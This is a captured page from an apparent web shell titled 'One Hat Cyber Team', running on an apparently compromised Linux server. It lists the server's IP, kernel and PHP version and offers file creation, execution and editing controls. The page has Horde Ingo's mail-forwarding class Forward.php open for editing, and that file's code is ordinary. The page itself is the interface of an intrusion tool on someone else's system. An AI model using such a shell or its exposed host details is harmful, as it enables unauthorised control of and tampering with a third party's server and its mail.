⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
ingo
/
lib
/
Storage
/
Edit File: Forward.php
<?php /** * Copyright 2012-2017 Horde LLC (http://www.horde.org/) * * See the enclosed file LICENSE for license information (ASL). If you * did not receive this file, see http://www.horde.org/licenses/apache. * * @author Michael Slusarz <slusarz@horde.org> * @category Horde * @license http://www.horde.org/licenses/apache ASL * @package Ingo */ /** * Ingo_Storage_Forward is the object used to hold mail forwarding rule * information. * * @author Michael Slusarz <slusarz@horde.org> * @category Horde * @license http://www.horde.org/licenses/apache ASL * @package Ingo */ class Ingo_Storage_Forward extends Ingo_Storage_Rule { /** */ protected $_addr = array(); /** */ protected $_keep = true; /** */ protected $_obtype = Ingo_Storage::ACTION_FORWARD; /** */ public function setForwardAddresses($data) { $addr = $this->_addressList($data); $max = $GLOBALS['injector']->getInstance('Horde_Core_Perms') ->hasAppPermission(Ingo_Perms::getPerm('max_forward')); if (($max !== true) && !empty($max)) { $addr_count = count($addr); if ($addr_count > $max) { throw new Ingo_Exception(sprintf( _("Maximum number of forward addresses exceeded (Total addresses: %s, Maximum addresses: %s)."), $addr_count, $max )); } } $this->_addr = $addr; } /** */ public function setForwardKeep($data) { $this->_keep = $data; } /** */ public function getForwardAddresses() { if (is_array($this->_addr)) { foreach ($this->_addr as $key => $val) { if (empty($val)) { unset($this->_addr[$key]); } } } return $this->_addr; } /** */ public function getForwardKeep() { return $this->_keep; } }
Simpan